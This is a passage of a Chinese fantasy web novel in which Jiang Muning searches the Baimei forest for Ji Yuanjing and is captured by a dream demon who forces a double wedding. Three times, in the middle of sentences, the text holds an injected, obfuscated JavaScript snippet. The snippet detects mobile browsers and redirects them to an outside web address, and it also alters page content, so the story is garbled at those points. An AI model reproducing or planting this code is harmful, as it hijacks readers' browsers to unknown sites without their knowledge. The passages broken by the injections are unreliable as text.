这反派语录经她道出,再配上她绝佳的演技,堪称天衣无缝。元宵半信半疑地盯着她的脸,半晌过后意识到自己的失态,连忙移开眸光,看向另外一处幽深的地方,迟疑地道:“姑娘的愿,还是徐鹤白吗?” 听上去似乎还有些失落的意味,姜慕宁赶紧摇头,她在想什么,这时候还有别的心思观察别人的神情,定是看花了眼,定是感觉出现了错误。 不过这厮这副神情难不成还在试探她的忠心,姜慕宁侧身过来,目光直白地看着身旁之人,眼里全无半分欣赏的兴趣,眉头紧皱,指尖点在他的肩:“我的愿与你有何干系,你没有过问我的资格。” 男子的肩膀因她的触碰而微微抖动起来,他的视线追着她的耳垂,抬手捉住她的手,握了一下便松开,闷闷地笑出了声:“姜慕宁,这不是你,你从来都不会这么和我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500687|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,在我面前你不必掩饰你的伪装。慕宁,你上山已有三年,每年都会给我送信,上个月却没了消息,我很担心你,听闻你来了烈阳城才向家主毛遂自荐前来,看到你没有事,我便放心了。” 姜慕宁:???这又是闹哪样?还想着维持人设,他给我整不会了。 苍天啊,这到底是怎么回事! 她干笑一声,怀疑地向后迈开几步,警惕心越发旺盛:“这样啊,你尽管放心,我一点事都没有,我记得烈阳城的路,你回吧回吧。” 那人嘴唇微微翕动,还想再说些什么话时,姜慕宁的身影早已越过他的身旁,流走于烈阳城里络绎不绝的百姓之中,头也不曾回过,很是决绝。 * 自从来了这里,姜慕宁的记忆就开始时好时坏,经常分不清哪些是现实哪些是虚幻,重重记忆覆在脑海,总是让她陷入沉思,记忆既是缥缈虚空难触,又如现实真切,有时她还会怀疑自己是不是遗忘很多重要的人和事。 她越想,心口就会越痛,她每次想要越过那道难渡的沟壑,心脏便如被迫骤停一般剧痛,于是她只能停止思考,提笔抄写那本能够暂时安抚她的晦涩难懂的古籍。 刚才遇到的男子看上去虽然无害,但保险起见,姜慕宁并不打算和他有过多的交涉。 她试了几次,最终还是会因各种缘由走不出烈阳城。既然如此,她决定走一步看一步,她悠然地走在街上,在形形色色的百姓中穿梭良久,最终成功抵达城主府。 她静静地驻足在纪府门前,等待着前去里面通报的小厮,青瓦覆檐,石阶苔痕渐深,朱色漆门半掩着,门前的两尊石像静伏,日影斑驳掠于其间,偶尔有雀鸟清脆悦耳的声音袭入耳旁。 她跟随带路的人穿过颇具古色的回廊,杨柳依依垂至粉色墙壁,印出了玄色的倒影,层层叠叠。 接她的人是位名唤小荷的姑娘,乖巧可爱的俏模样,一看就是福气满满,想来纪家是不曾苛待下人,也还不错,或许这次她能够见到那位为百姓死守烈阳城的纪家主。 “小荷姑娘,烈阳城近来发生的祸事都有哪些?我初来乍到,还请小荷姑娘多多包涵。”姜慕宁跟在小荷姑娘的身后,步步随着,目光好奇地瞥向四处,流转不休。 纪府说大不大说小不小,她们没过一会儿便走到了住处,但有一处很是可疑。走过纪家公子的房间时,她明显地听到了里面女子的叫喊声,但身旁的姑娘却只是摇了摇头,不愿透露。 一路上,那位姑娘耐心地为她答疑解惑,也不曾嫌弃她的疑问颇多,姜慕宁后面觉得自己的好奇心实在太重,便安静了小会儿,不过三息,便又开始喋喋不休:“你说他们已经先去百媚林除妖,那位失魂落魄的纪小姐的病又是怎么回事?” 小荷静默片刻,只道:“姜姑娘,徐少侠与沈女侠说你有伤在身,让你在此休养几日。我们家小姐是前几日去庙里上香回来途中受了惊吓。” 说罢,小荷客气地指了指一间古雅的房间,略有敬意地道:“这便是我家公子为姜姑娘安排的客房,姑娘不必拘礼,每日都会有人将饭菜送来,好生休养便是,沈姑娘还说了,你就待在此处,若是不慎走失,是要上报给一位姓谢的仙长的。” 告诉他做什么?非亲非故的,姜慕宁想破脑袋也不知沈霁雪的意图是何。 说是历练,他们俩将她安排在此,自己去以身犯险除妖,也并非不可。正好,姜慕宁有自知之明,坦然地接受了这些安排,但不知为何,她的心里隐隐有些不安,总觉得会有什么事情发生。 她微微一笑,脑中突然浮现出一个画面,貌似还出现了一个新的名字,见人要走,没有多想,她连忙叫住了小荷,问道:“你家公子?可是纪元璟?” 9. 烈阳城(三) 姜慕宁也不知为何自己会道出这个名字,小荷微怔,她正要开口,远处便传来一阵嘈杂的声音,随即便骤然止息,寂静不过半刻,忽有道铿锵有力、怒意十足的骂声响起:“纪元璟呢?他是不是不知道百媚林有多危险,一个人就敢留下书信前去,我看他是不想活了!给我把他捆回来!去找!” 一旁的妇人忧心忡忡地轻抚他的胸膛,慢慢拂动,看上去应是给他顺气,愁容满面地道:“夫君莫忧,璟儿不会这么意气用事的,我方才见过他,他此时应还在府里。百媚林那边还有徐鹤白和沈霁雪,他们定会将幼薇的元神安然无恙地带回来的。” 纪城主叹了一口气,怒意顿消,渐渐轻柔地回握妇人的手,眼底爱意难藏,温柔地拍了拍,说道:“娘子,我信太虚门派来的修士,但我更担心幼薇,那位道长断言,若是幼薇的元素今日申时回不到躯体,日后她只能是个痴儿……在这个节骨眼上,纪元璟还给我添乱,若他真敢违背我的命令去送死,就让他死在后面好了!” 话锋一转,纪城主胸腔淤积的怒火不禁上窜,直抵咽喉,火辣辣地疼了一阵,痛哑了他的嗓子:“娘子,你替我将姜家送来的东西送回去,此等贿赂,我断不能收。” 夫人连连安抚着他,应了他的话,“姜堰送来的是回元丹,能够缓解夫君的头疾,姜堰无非就要一颗无关紧要的丹药,夫君为何迟迟不愿给?” 看到夫君日日饱受折磨,她的心里也在阵阵抽痛,但又拗不过纪城主,只能默默替他寻些缓解疼痛的偏方。 接受姜堰之物则表明烈阳城有意与姜家交好,但纪城主并不想掺和世家之争,他只求清正廉洁、好好为陛下鞠躬尽瘁。 “樱茹,国师占卜出的劫数唯有世家家主与你我知晓,陛下以姜家为重,是想破除妄言。而姜家暗自拉拢各家玄门,意在击溃祝家独大的局面。”纪城主愁色深深,他不想卷入这蹚浑水,更不想置身于争斗里,他好像看到了站在门口观望的姜慕宁,瞥了一眼,继续道,“这么多年是我疏忽了对幼薇和元璟的管教,再过几年我便向陛下请辞,带着你们几人告老还乡,好享那天伦之乐……咳咳咳!” 瞧着这二人相敬如宾的模样,姜慕宁觉得这世界还是有很多值得羡慕的人,她没打算再偷窥,一脚迈进了房,手搭在木色门框上,正欲关闭那刻,远处传来一阵惊恐的声音,持续了半刻,便遁入了空寂。 再试一试,她再试一下,姜慕宁就不信她走不出烈阳城。 整个房间噤若寒蝉,她的呼吸声与心跳声轻轻而明晰,各种各样的器具风格典雅,古色俱全,她试着推了一下窗棂,从衣袖里拿出最后一张千里符,指尖蘸了蘸磨好的墨汁,点在淡黄色的符纸上,随即用意念召出千机伞,若隐若现的身子靠在冰冷的石壁上,轻了些许。 她如飞絮轻盈,欲走之际,忽然被道慌慌张张的声音绊住了脚,手掌心的灵力也随之失去控制,姜慕宁不小心撞到了屏风,整个人随着倒塌的云纹屏风栽倒在地。 关好的门也被打开,明亮的光芒照进整间昏暗的屋子,晃了几下,便逐渐暗淡。 “姑娘,姑娘!姜姑娘!快救救我家小姐,她被妖怪掳走了。”一时不察,小荷被略高的门槛绊倒,及时拉住了支撑物,急色匆匆地寻找那抹身影,终在一处凌乱的地方寻到了姜慕宁,氤氲的泪珠砸在她的衣裙上,“姜姑娘,我们城主还受了伤,劳烦你也去瞧一瞧罢。” 姜慕宁狼狈地从地上起身,拍开灰尘,望着泪眼婆娑的女子,她拒绝的话挂在嘴边迟迟说不出口,反复碾碎再聚集,汇成一句:“好,你带我前去看看。” 真到了纪城主房里,姜慕宁才知道这伤远比她想象中的还要厉害,粗粝的手臂残留着一排排不似人齿的印子,她仔细回想有关这段剧情的走向,默了良久,泄气般道:“此毒是梦妖精血炼化,若是没有梦妖的心尖血,是解不了毒的,我解不了……必须在六个时辰得到解药。” 她垂着眼眸,偷偷抬眼瞄了一眼纪夫人,又看看纪城主苍白的脸色,“你们放心,我师兄和师姐都是少有的高手,他们定会为你们寻回解药和纪小姐的。” 纪夫人闻言两眼一黑,幸是站在一处的丫鬟及时扶住。姜慕宁担心地伸手过去,反被纪夫人牢牢抓住,祈求的目光钻入她的眼眸,耳旁是近乎绝望的声音:“慕宁,你是修仙之人,我求你替我寻回璟儿,欠的人情我改日定会修书说明,答谢你的恩情!” 她的手印出几道青色印子,赧颜了几阵,使劲地抽手回来,但耐不过对方的力气,只好如实回答:“夫人,并非是我不愿相助,只是我灵力低微,我怕我去了也只是添麻烦,我……” 旁边一阵窸窣,小荷噗地一下跪在地上,“姜姑娘,我早间听说你是天玑仙长的真传弟子,前些日子你持寒霜一剑斩破妖邪,威风凛凛,求求你救救我家公子和小姐吧!” 外界的传闻同现实两模两样,姜慕宁尴尬地扯了一下嘴角,天玑是谢亭修在凡尘俗世的化名,当日种种皆历历在目,她可不敢认下这个不属于她的荣誉,连转了话题:“谣传,这些都是谣传,当不得真的……我这里还有一些灵丹妙药,应能替城主缓解一二。” 怎料纪城主也跟着他们一同求她出手,不肯服药,她同情心一泛滥就答应了他们的请求,拿了地形图潇洒地走出城主府,直到进入百媚林的前一刻,姜慕宁停了脚步,恍然大悟般地臭骂自己:“姜慕宁,你逞什么英雄啊?菜鸟一个,一个小小的boss就能掐死你,面子有那么重要吗?傻不傻啊你?” 苍天! 姜慕宁踌躇不前,她将揉得有些皱巴巴的地形图缓缓展开,盯了短短一瞬,突然发现脑子里对这百媚林的地形格外地清楚,疑惑地喃喃:“可能我学会了过目不忘?” 若是有危险,她就使用千里符逃走。姜慕宁壮着胆子迈进带有“百媚林”标志的界牌,一落地便跑得极快,拐了好几个弯,前方似有动静,她心里一横,强行停住。 她的脚差点刹不住,撞到了一处柔软的地方,手指贴在黏腻松软的泥土上,几乎在撞到的那瞬间,挣脱桎梏的泥沙尽数倒在了她的衣服上。 嘴里也进了一点沙土,姜慕宁狼狈地吐出去,两手抖抖沾了沙土的衣物,心想:“我是被倒霉鬼附了身吗?怎么总是这么倒霉?还能不能再倒霉一点!” 她的心里话像是某种谶语般在下一刻得到验证,她刚刚迈了一小步,脚后跟就立刻被某些冰冷似蛇的物体紧紧攀住,死死往前一拽,姜慕宁就被迫栽倒在地。迸发出的光圈牢牢把她圈禁起来,腾空升在半空里。 “喂!不带这样的啊!”困住她的光圈化作绳索缠绕,逐渐将她包裹起来,镂空的口子流窜着紫色的灵息,碰一下,就被电一下,她忍不住哀嚎,“梦妖,你要找的是主角,我一个小喽啰哪能入得了你的法眼,放我出去!” 姜慕宁使劲摇晃,试图用自己的体重荡断牵连在树上的绳索,试了很久还是没有任何动静,她倦意来袭,微阖双眼,耳侧倏忽一阵动向,多了道骂骂咧咧的声音:“该死的梦妖,放我出去,你把我妹妹的元神还给我!梦妖!孟瞎子,出来出来!” 她扫眼过去,见是个玄衣男子,扎着简单的高马尾,他两手被电得发焦,痛苦的表情落在那张看上去比较清俊的面容上。看了一眼,没再继续观察,她的嗓音淡淡:“别嚎了,你再叫,只会引来野兽,到时候吃了你。” “哐”的一声,玉器从那人的腰间掉落,刚好砸在了尖锐坚硬的石头上,霎时碎了一地。 姜慕宁的声音暂时让他停止了叫喊。男子把注意力转到姜慕宁的身上,将她彻彻底底地看了个遍,流露着不屑的眼神,嗤笑道:“我道是谁,原来是你啊。姜慕宁,你怎么有闲心来百媚林,徐鹤白是不是也来了?” 这人说话的语气怎么这么欠。 她仔细观他腰间滑落在地的玉器碎片,看了良久,才从零零碎碎的玉器里瞧出了一些裂痕,用意想拼拼凑凑,勉强能够拼出一个“璟” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500688|202714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。 姜慕宁觉得心里的疑惑瞬间明晰,认出了此人的身份:“纪元璟,你知不知道你擅自偷跑出来,纪城主和纪夫人有多担心你。我现在这样,还不是拜你所赐。我是受他们所托出来寻你。” 寻他?这个女子如此厚颜无耻,竟然还会说出这样的话。纪元璟心里是一万个不相信,眯着眼睛打量姜慕宁,揶揄道:“姜慕宁,你会这么好心出来找我,别不是修为低微,打不过梦妖被擒在这里从想出这么一个烂俗的借口。” 姜慕宁淡淡地瞥了纪元璟两眼,没搭话,好女不跟男斗,她没有必要在这里和不相干的人争辩些无关紧要的事情。 没有得到回应的纪元璟疼得眼泪簌簌而落,语气有所缓和,声音也不禁颤抖了些许:“姜慕宁,我听说是你破了幽州的妖兽霍乱一事,是不是真的?” “你信便是真的,你不信便是假的。”姜慕宁悄悄拔出藏在发髻上由千机伞所化的发簪,默念咒语,便将伞下的灵剑拔出,锋利的剑锋对准绳索,精准割下,迅速落地。 这束缚的灵力似乎变弱了很多,姜慕宁很轻易便挣脱了。她站在原地,默默地抬头,没打算把纪元璟放下来,随即转身准备离去。纪元璟一看,立刻唤她:“姜慕宁,先把我放下来,我随你一起去。” “你说话太难听,我不想救你。”姜慕宁也是有脾气的,面对这样出言不逊的人她不想给一点好脸色,她的视线陡然落在他露出来的一截兰花衣袖,想也不想地用剑斩了下来,观了半晌如醍醐灌顶般道,“好啊,就是你在太虚山用东西砸我的!你这个小人,让你自生自灭。” 手里的衣袖与当时的方巾图案一模一样!纪元璟心虚地撇了撇嘴,不知应说些何话。 他那时十分厌恶姜慕宁的所作所为,她曾经那些羞辱的话至今仍然令他难以忘怀。纪元璟趁着上山寻人时,看到了笑得灿烂的姜慕宁,见她洒脱地向很多人道歉,心里十分不舒服。他的思绪还未回神之际,身体便如脱离束缚的缰绳般“砰”地一声砸在地上,全身都沾满了泥土。 此女子出手毫无章法,半点反应都没有给他。纪元璟顿时一头雾水,疑惑的眼神落在她的身上,不解地问道:“姜慕宁,你会这么好心?”碍于前车之鉴,他不敢太相信眼前的女子。 “算了,我是答应了你爹娘来寻你的,原谅你之前的无礼之举。你现在有多远,走多远,快回去罢。”姜慕宁舒了一口气,准备迈步远离这片密林,一道身影突然挡在她的面前,展开双臂,话语间带着质问的意味,“你不去帮徐鹤白和沈霁雪,就这么走了,还有没有良心?” 有没有良心?她大老远来这么个鬼地方寻人已经算是仁至义尽了好不好。她还是冒着风险赶到一个随时随地都有可能被妖怪掳走、被大卸八块的地方。 要说良心,姜慕宁不觉得自己有何过错,她对男子脸上闪过的不解神情置若罔闻,从衣袖中拿出一个护身的小法器,强硬地塞到了纪元璟的手里,解释道:“他们灵力高强,我修行不过三年,去了也是添乱,倒不如留在烈阳城,还能保护烈阳城的百姓。要去你去,反正我不去。” 虽说烈阳城现今也有结界,妖魔鬼怪不易入内,但难保不会有厉害的妖怪设下诡计,姜慕宁觉得这个理由甚好。 “那便我去。”纪元璟斩钉截铁地道,没有再做任何的停留,坚定地提步往前继续走,“我就算是死,也不会让我妹妹被那妖怪蛊惑。” 她象征性地拦了一下,没有拦住,没过一会儿,纪元璟的身影消失得无影无踪……他是真不怕死啊。 姜慕宁内心纠结了很久,朝着反方向离去,倏忽停在原地,马不停蹄地往纪元璟离开的方向追去。 那人走得极快,她费了好大劲才追上了他,这次是姜慕宁拦在他的面前,展开的双手暂时抵挡住了他的路,她跑得气喘吁吁,足足缓了好几阵,有些生气地道:“不是你,让你走还真走啊,纪元璟你一个凡夫俗子,连我都打不过,纯纯去送人头!” 10. 烈阳城(四) 纪元璟没有料到姜慕宁会追上来,更没有想到自己会被她劈头盖脸一顿骂,他微微愣了一下,游离的眼神锁定她身后逐渐靠近的黑色物体,想也没想便将她扯到了他的身边。 两人撞在了一起,姜慕宁不明所以地推开他的胸膛,刚要发作,就看到纪元璟紧缩的瞳孔,他颤抖的手指着移动的物体,害怕地咽了一次口水,说道:“姜慕宁,你身后有蛇。快,赶走它。” 这剧本有一点不太对吧,她拿的不应该是柔弱剧本吗?姜慕宁驱动手里长剑,挥舞了几下,微弱的剑气横扫而去,化成重重迷雾遮掩开来。 她则趁机抓住纪元璟的手,毫不犹豫地催动最后一张千里符逃走,他们穿梭在密林之中,折断了不少遮挡的树枝。 大半的枯枝败叶都掉到纪元璟的衣服上,他害怕地攥紧了姜慕宁的手腕,抓得她有些疼,不禁喊道:“纪元璟你抓得太紧,松些手!” 临近黄昏,被纵横交错的树枝遮挡的天边已经暗淡了许多,照在这片密林的余晖所剩无多,黑暗的气息扑面而来,毫不掩饰地铺在两人身上。 姜慕宁一开始还能控制好方向,但时间越久,她隐隐觉得自己的灵力越弱,最终迷失在这片红色迷雾的森林里。 而在不为人知的角落里,有道身影默默地注视着两人的动静,暗暗施法打断了姜慕宁的灵力,望着他们跌倒在地,被梦妖派来的小妖擒住才勾起了唇,满意地离去。 * 两人睁开双眼那刻,周围霎时静谧下来,无数张没有身体的脸突在眼前,吓得两人瞪大了眼睛,想后退时身体却被桎梏在原地无法动弹。 姜慕宁的手还抓着纪元璟的手,那些脸凑在她的脸前,若有若无地触碰她的脸庞,轻轻抚摸,像是在欣赏自己捕获的猎物,它们给人一种下一刻便要将自己吞入腹中的感觉。 贪婪的声音与视线尽数落在姜慕宁的身上,她下意识地掐住他,指甲浅浅陷入他的皮肤里,嘴里喊着:“先吃他,他肉比我多!” 她怕死啊,也不想这么屈辱地死,被人被妖分食,被当做食物吃掉,这太残忍了! 身旁的纪元璟眼见着那群妖怪因她的话涌到了自己眼前,手臂的疼痛还在持续,内心虽然害怕,但也不想姜慕宁现在受伤,喊道:“要吃就吃我,梦妖,你把幼薇的元神还给我!快给我出来!” 群妖缠在纪元璟的手臂上,其中一只贪婪地嗅着他的味道,激动得流下唾液,等不及地张口咬下他的一块软肉,它的牙齿咀嚼几次,还没嚼动几下,身体被一道流光击中,仅在瞬间痛苦地叫喊了声,便落得一个灰飞烟灭的下场。 姜慕宁没见过这样的场面,用尽全力挣脱小妖的束缚,来到纪元璟的身边替他止血,担心之余,语气也增添了些怨怼:“纪元璟,我替你止血……你没必要挑衅它们,拉仇恨值你是最厉害的,我还想活着出去呢。” 那块软肉被掏了出去,纪元璟的手臂瞬间空了一个缺口,血流不止,触目惊心的鲜血从他的手臂流到了她的掌心里,温热似乎没有消散,持续了半刻才陷入冰凉。 姜慕宁没办法让他重新长出血肉,只能用乾坤袋里的灵药尽数覆在伤口上,疼得他龇牙咧嘴,嘴唇泛着白,虚汗一滴一滴地坠到地面。 纪元璟在这很短的时间内真正看清了姜慕宁的相貌,她似乎变得与从前不同,即使脑海里关于她的事情都是不好的,但他始终觉得记忆中的姜慕宁不该是嚣张跋扈的模样。 究竟是怎么了……纪元璟也说不上来,他只觉得这次见到的姜慕宁才该是想象的她,纪元璟认为他大抵疯了,这种想法实在过于诡异。 纪元璟注视的眼神直白无比,几乎是毫不掩饰。 察觉他的眼神后,姜慕宁故意拉紧绷带,打趣的话还没有说完,她便被袭来的灵流困住,甩到了地面:“看着我做什么?我告诉你,出去之后你要报答我,我要一个大大的回报,我还有……” 随之而来的攻击落在了她的肩膀,女子重重地跌在地面,衣裙扬起的沙尘盖到姜慕宁的脸上,心间的痛感再度袭来,她艰难地挪动了几下,实在没有力气,干脆就老老实实地躺在地上,喃喃地道:“我真是倒了八辈子霉了。” 纪元璟担心的声音充斥着她的耳畔,她微微抬手,指着别的方向,准备控诉纪元璟时,涣散的视线里突然出现一个身着艳丽衣裳、没有五官且身材苗条的人,对着她“嘿嘿”地笑出了声。 “鬼啊!!!”昏沉如在迷雾的姜慕宁瞬间如临大敌般瞪大眼睛,心头猛地一缩,连呼吸都顿了半刻,惊惶地喊出声来。 她的身体被人轻轻提起,如羽毛般被带了过去。姜慕宁试着挣扎了几下,发觉自己纹丝未动,刚想说些求饶的话,喉咙猛然被一双冰凉的手紧紧攥住,耳旁犹然多了道粗犷的声音:“你就是姜慕宁?我还以为你有多大的能耐,小小人族,灵力低微,竟也值得她心存忌惮。” 她? 还是他? 咽喉被攥得生疼,姜慕宁死死地掐住那双粗糙的手,指尖强行地陷入梦妖的皮肤里,听得闷哼一声,她就被扔到了地上。 “姜慕宁!”纪元璟的呼唤戛然而止,“啪啪啪”的声响迅疾落下,那张俊朗的脸庞生生印出几道巴掌印,同样是被丢到了崎岖不平的地面。 她大口大口地喘着气,揉揉微青的手臂,缓缓地从地面爬起,眼瞳里倒映着梦妖的容颜。 他的脸有一半是极美的,轮廓分明;另外一半脸则残留着被烧伤的痕迹,缺失了一只眼球,镂空的眼眶装着深绿色的光,时不时地发出光芒,直觉告诉她绝对不能看他的眼睛。 姜慕宁迅速低头,却引起了梦妖的注意,他却抬手摸了摸自己的脸,指尖勾起她的下巴,强迫她与自己对视,另外一只手则缓缓抚摸她的面容,似是欣赏,也似是嫉妒地道:“你的脸倒是小巧,你说说我美不美?与那纪幼薇相不相配?” 这叫她如何说。据她所知,梦妖曾在百年前被谢亭修打散修为,封于九层玲珑塔里受清心经日日度化,也获得了重新修炼的机会,历经百年,怎么说也该有所顿悟。 但事情就诡异在此,本该待在九层玲珑塔的梦妖突然脱离禁制出逃,这妖怪辗转多时,终在山下烈阳城寻到了自己的机缘。且梦妖的相貌丑陋,在人间并不受待见,在一次意外中结识纪幼薇,与她相恋,还想让纪幼薇化妖,和自己双宿双飞。 姜慕宁疯狂地眨眨眼睛,示意梦妖放开自己,大脑快速组织好语言,正欲开口,身旁的纪元璟抢先一步先道:“呸,你这个人不人鬼不鬼的东西有何资格和我妹妹在一起?你若是识相,就放了她。我告诉你,太虚门的人已经赶来,现在收手还能留你一条生路……” 话还未尽,纪元璟又被抽了几个巴掌,这一次明显比之前更重,一旁看热闹的小妖纷纷捂住了眼睛,识趣地退开一步。 少年,不要在自己能力范围之外作死。 “太虚门算什么东西?”梦妖嗤笑出声,步步靠近纪元璟,微微抬手作势要动手,“就算是谢亭修来了,他也奈何不了我。何况有怀素的禁制在身,他也下不了山。” 这与怀素有何联系? 眼见梦妖即将发起攻击落下,姜慕宁顾不得思考太多,她赶紧抓住梦妖的手将其视线转到自己的身上后立即松手,两步走到纪元璟旁边,扬手给他脑袋来了一记,赔着笑,道:“他不懂事,确实该打。要我说,梦公子你英姿飒爽,纪姑娘国色天香,你们自然是天造地设的一对。但他你可不能杀。” 梦妖愣神,不解地发出疑问:“怎么杀不得?你若是能答得让我满意,我还能放了你。”说话间,梦妖随手封住了纪元璟的口,防止其再说些自己不爱听的话。 “幼薇姑娘是注定要与你在一起的,按照我们人间的习俗,应当喜结连理。纪元璟是幼薇姑娘的兄长。”姜慕宁忽视纪元璟发出的抗议,顿了一下,铿锵有力地说道,“那么他自然也是你的兄长,孟公子也不想纪姑娘伤心的,对吧?” 昧着良心说话有时也是一种折磨,姜慕宁只想稳住眼前这个妖怪,趁梦妖迟疑之际,她朝纪元璟使了使眼色,继续说道:“实不相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梦妖半信半疑地盯着她,见她眼里全无半点心虚,心头松懈了些,背过她取出藏在身上的法器查探了一下才放心地将东西收下,轻咳了一声,满意地道:“这是件宝贝,沈霁雪和徐鹤白如今被困在我的灵蛇阵,恐怕早已沦为一堆尸骨,根本不足为惧。这个屡次羞辱我的臭小子,我先留他一命,今夜,我要与幼薇拜堂成亲,你觉得如何?” 她刚要说话,梦妖率先警告她道:“别说些我不爱听的话,说错了你和纪元璟都得喂蛇。” 他不屑地解开纪元璟的禁制,同样是威胁,“你也说几句我爱听的话,说错了你和姜慕宁就去死。” 好话坏话都让梦妖说尽了,姜慕宁还能说些什么话,求生之举,说些违心的话应当不算过分,她凑到纪元璟的旁边,用手肘碰了一下他,恭维地道:“我看今日便是良辰吉日,我祝愿二位地久天长、幸福美满。” 梦妖听后仰天长笑,笑得很是开怀,立即吩咐小妖给姜慕宁赐座,“我倒是喜欢现在的姜姑娘,很识趣,也知分寸。你呢,纪元璟?” 纪元璟泛起了恶心,忍不住翻了一个白眼,手臂的伤口让他难以忍受,他转头去看坐在红漆木椅的姜慕宁,忍着痛拽下她按在自己伤口的手,选择示弱,咬着牙道:“可以成亲,但我要见我妹妹。” 梦妖听了后面的话蹙起了眉,安排纪元璟坐好,并没有答应这个要求,只见他大手一挥,这里的布置瞬间换了模样,与纪府别无二致。 “待我们拜了堂、入了洞房,我会带着幼薇亲自去向岳父岳母请罪。”梦妖眼底的戾气削减了许多,他微微抬手,自他流窜而出的灵力散在两人的身上,不过三息,他们的衣服便转成了鲜红色的婚服。 姜慕宁脑子里充满了很多的问号,还在疑惑此举的动机,两人对视,皆是茫然。 下一刻,梦妖一跃而上,坐在缓缓降落的斑斓高椅上,长长的衣裤掀起寒风,拍打在两人身上。 她总觉得梦妖接下来要说的话不会是她喜欢听的,一种不祥的预感在心底油然而生。 梦妖扯开一抹阴笑,居高临下地看着两人,发出的笑带着森然:“我看你们如此相亲相爱,煞是登对,我便想做一回好人,让你们随我们一起成亲。哦,对了,你们还需要喝下我备好的美酒,如此我才能饶了你们。” 11. 烈阳城(五) 他刚刚在说什么?给谁和谁一起成亲,姜慕宁石化在地,愣了几刻,心想着这鸳鸯谱哪有这么点的道理? 曾几何时,两人几乎是同时开口,异口同声地拒绝道:“不行!” “我不答应,你以为你是谁,能够替我做主?总之我拒绝这个要求……”总之姜慕宁不乐意,也拒绝这个安排,她噌地一下起身,准备雄赳赳、气昂昂地反驳,但瞧见梦妖半张丑陋的脸上发出的绿光,登时没了底气,像是一下子没了支撑般软了语气,“呃,不过我们答应成亲,这酒能不能不喝?” 她转念深深思考,最终下了定论,觉得成亲事小,性命最大。若是酒里被下了毒药,她能在死后能回到现实也是个不错的选择,但若身死魂死,还被这妖怪控制,那她将死不瞑目。 四周的小妖纷纷涌出,围在两人之间叫唤着些令人捉摸不透的声音,潮湿透亮的青石地面“噗噗”地喷出灼热的火光,轻扬地扫荡在他们的身体周围,好似一种警告。 梦妖还在思考她的问题,纪元璟越看这丑陋的妖怪,心中的怒火便越发地旺盛,抵达顶峰那刻,他再也压抑不住自己的脾气,喊道:“姓孟的瞎子,我告诉你,我爹已经修书给谢亭修,他会亲自来料理你这个为祸世人的妖怪!你放了我妹妹,我告诉你,我和你没完!” 顿在半空想捂住纪元璟嘴的手被姜慕宁僵硬地收起来,她有几分哀怨的眼神袭在纪元璟的脸上,终化作几次轻叹坠落。 “又在作死,遇到你我更倒霉了,纪元璟,你比谢亭修还让我难办,我怎么就遇不到一个稍微让我省心一点的人呢。”姜慕宁在心里默默地道,“我这次看你怎么化解危难。” 空气中弥漫着一股焦灼的气味,好像是从旁边传来的味道。姜慕宁耷拉着脑袋转头,猛然发现是纪元璟的衣袖起了火,连忙替他拍灭火苗,可这火苗就像打不死的小强般死灰复燃。 不管她怎么努力,就是扑不灭。不仅不灭,还愈发旺盛。 茫然之际,她的脑袋上传来梦妖的笑声,耳旁的声音实在嘈杂,“好啊,那你就去死。活活地,被烧死,哈哈哈哈哈。你多次辱骂于我,还曾派人教训我,今日我便有仇报仇。” 梦妖转动手里的灵力,令其化作一滩水灌进纪元璟的身体,微微勾着指头,便有一撮火苗冉冉升起,他欣赏般地俯视底下男子的狼狈不堪,指着姜慕宁,给了她两个选择,“有人告诉我,姜姑娘是取得魔骨的关键,该留;也有人告诉我,姜姑娘是世家计划的变数,该杀。但那些人的话在我这里全都是放屁,我只想随心所欲。” 她倏忽之间仰头去观察梦妖的神情,猜测他接下来的话不会是自己想要听到的言语,不祥的预感自此油然而生。 梦妖顿了一下,稍稍打了一个响指,头顶密闭的空间在刹那间破开,重物着落划过天际的声响持续不久,仅在三刻,梦妖的怀里便多了道靓丽的身影,秀丽的青丝覆在梦妖的手间,他挥挥手,俯身轻吻着怀里之人的脸颊,满是回味地对姜慕宁说:“我很喜欢你给我的祝愿,我给你两个选择。一、现在离开百媚林,滚得远远的;二、和纪元璟在这里永远地陪着我们,但你需要喝下我为你们备好的喜酒。” 离开这里,不就是她心中所愿?她紧盯着梦妖怀抱里的姑娘,推测此人应是被掳走的纪幼薇。姜慕宁还想再观察,梦妖却吝啬地用宽大的衣服盖住那位姑娘,生怕其会逃走一般。 听到能够远离百媚林的时候,姜慕宁心头一震,她的视线也不由自主地落在了忍着剧痛瞧她的纪元璟,她有些不忍地避开他的目光,迟疑地道:“我若离开,他怎么办?” 谁知话音刚落,梦妖一掌袭在纪元璟的左腿,紧接着便是右腿。纪元璟双腿受了伤,不受控制地跪在地上,他半阖着眼眸,摇了摇头,嗓音不改之前的强势:“杀了我,我来此就没有打算活着回去,姜慕宁,我不要你管,你现在就走!你……唔唔唔。” 